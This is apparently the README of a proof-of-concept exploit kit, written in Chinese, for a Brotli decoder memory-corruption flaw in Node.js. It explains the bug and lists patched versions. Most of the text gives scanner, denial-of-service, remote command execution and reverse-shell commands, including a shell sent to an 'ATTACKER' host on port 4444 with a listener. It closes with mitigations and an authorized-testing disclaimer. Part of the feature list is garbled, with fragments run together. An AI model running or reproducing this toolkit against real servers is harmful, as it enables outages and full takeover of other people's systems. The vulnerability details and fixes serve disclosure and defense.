针对 CVE-2026-111497 的概念验证:Node.js 中未认证的 Brotli 解码器内存损坏漏洞:版本扫描器、DoS 与损坏载荷,以及反向 shell 入侵。
Node.js 附带的 Brotli 解码器中存在未认证的内存破坏漏洞。当流请求切换块类型,但实际只存在一种块类型时,会使 DecodeBlockTypeAndLength() 返回 BROTLI_FALSE。调用方会将其视为“需要更多输入”。在存在漏洞的解码器上,8 字节暂存区随后会被攻击者字节覆盖,工作线程便不再从解码调用返回。
CVE: CVE-2026-111497
CVSS: 9.2
CWE: CWE-787、CWE-252
组件: Node.js node:zlib 和 fetch(),以及任何会解压 Content-Encoding: br 的 HTTP 栈(Express 5 / body-parser 2,且 inflate 保持开启)
| 软件 | 修复版本 |
|---|---|
| Node.js 22.x | 22.23.4 |
| Node.js 24.x | 24.22.1 |
| Node.js 26.x | 26.12.1 |
| Node.js 20.x、25.x | 无修复(已停止维护) |
| Bun | 1.4.4 |
| Brotli | 1.0.10、1.1.1、1.2.1 |
已修补的 Node.js 版本会将同一流作为格式错误拒绝,并继续提供服务。
scanner.py),包含可选的主动探测cmd-drain 比特流:2^24 个零成本字典命令耗尽 block_length,使无效切换可达Content-Encoding: br、请求体关闭server.py 将相同字节提供给 Node.js fetch() 客户端listener.py)node2shell.sh),用于 scan、dos、oob、compromise 和 shellscanner.py 读取 Server 和 X-Powered-By,并将版本与上述修复版本进行比较。--active 会发送破坏攻击臂。cmd-drain 流。距离为 34 的字典变换不产生任何输出字节,因此当 num_block_types 仍为 1 时,block_length 会归零。exploit.py 或 compromise.py 使用 Transfer-Encoding: chunked 和 Content-Encoding: br 发送该流。请求体以 0 块结束,因此挂起意味着解码器问题,而非请求未关闭。server.py 将相同字节返回给 fetch() 调用方。DecodeBlockTypeAndLength() 返回 BROTLI_FALSE。存在漏洞的解码器会将未消费的尾部通过 s->buffer.u8[8] 复制到 buffer_length、pos、ringbuffer_size 及后续字段中。listener.py 接受连接时,反向 shell 才算成功。只有当验证标记出现在 HTTP 响应中时,命令输出才算成功。在会解压 Brotli 请求体的存在漏洞的 Node.js 工作线程上,一个关闭的分块 POST 就足够了。工作线程停止响应(停滞或连接重置),而暂存区写入已经落入解码器状态。已修补版本会以格式错误响应并保持运行。
只有当监听器接受 shell 或验证标记出现在响应中时,才会报告代码执行。在多工作线程进程中提高 --retries,以便该流命中存在漏洞的工作线程。
仅限授权测试。
python3 scanner.py --check-version 24.22.0
python3 scanner.py http://target:3000
python3 exploit.py -t http://target:3000/api -v request -p dos
python3 exploit.py -t http://target:3000/api -v request -p oob
python3 compromise.py -t http://target:3000/api -c "id" --retries 20
python3 exploit.py -t http://target:3000/api -p compromise --revshell --host ATTACKER --port 4444
python3 listener.py --port 4444
python3 exploit.py -v response -p dos --server-port 8080
./node2shell.sh scan http://target:3000
./node2shell.sh dos http://target:3000 /api
./node2shell.sh oob http://target:3000 /api
./node2shell.sh compromise http://target:3000 "id" /api 20
./node2shell.sh compromise-shell http://target:3000 ATTACKER 4444 /api 50
metadata_rce 需要目标进程的 --libc-base、--system-offset 和 --binsh-offset。
| 路径 | 作用 |
|---|---|
brotli_payload.py | 触发、劫持尾部与 exec 喷射 |
exploit.py | HTTP 客户端(请求与响应向量) |
compromise.py | 单请求体破坏、劫持与确认 |
scanner.py | 版本与攻击面检查 |
server.py | fetch() 响应向量 |
listener.py | 反向 shell 监听器 |
node2shell.sh | 命令包装器 |
将 Node.js 升级至 22.23.4、24.22.1 或 26.12.1。对于已停止维护的版本线,迁移至已修复的版本。express.json({ inflate: false }) 会拒绝压缩的请求体。对于不受信任的客户端,在代理处丢弃 Content-Encoding: br。
本概念验证仅适用于你拥有或获授权测试的系统。未经授权的访问是非法的。